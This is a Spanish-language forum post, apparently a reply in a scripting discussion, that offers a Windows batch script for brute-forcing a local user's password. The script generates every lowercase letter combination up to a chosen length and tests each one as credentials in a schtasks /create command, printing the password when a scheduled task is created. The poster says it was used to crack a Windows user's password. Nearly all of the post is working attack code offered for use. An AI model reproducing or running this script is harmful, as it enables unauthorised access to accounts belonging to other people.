Esta es la forma más eficiente de trabajar con generadores de diccionarios por fuerza bruta que conozco en batch, muchísimo más rápido que el método recursivo que estás intentando implementar. Échale un vistazo con calma, que es bastante enrevesado.
Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows
Código [Seleccionar]
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit
Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows
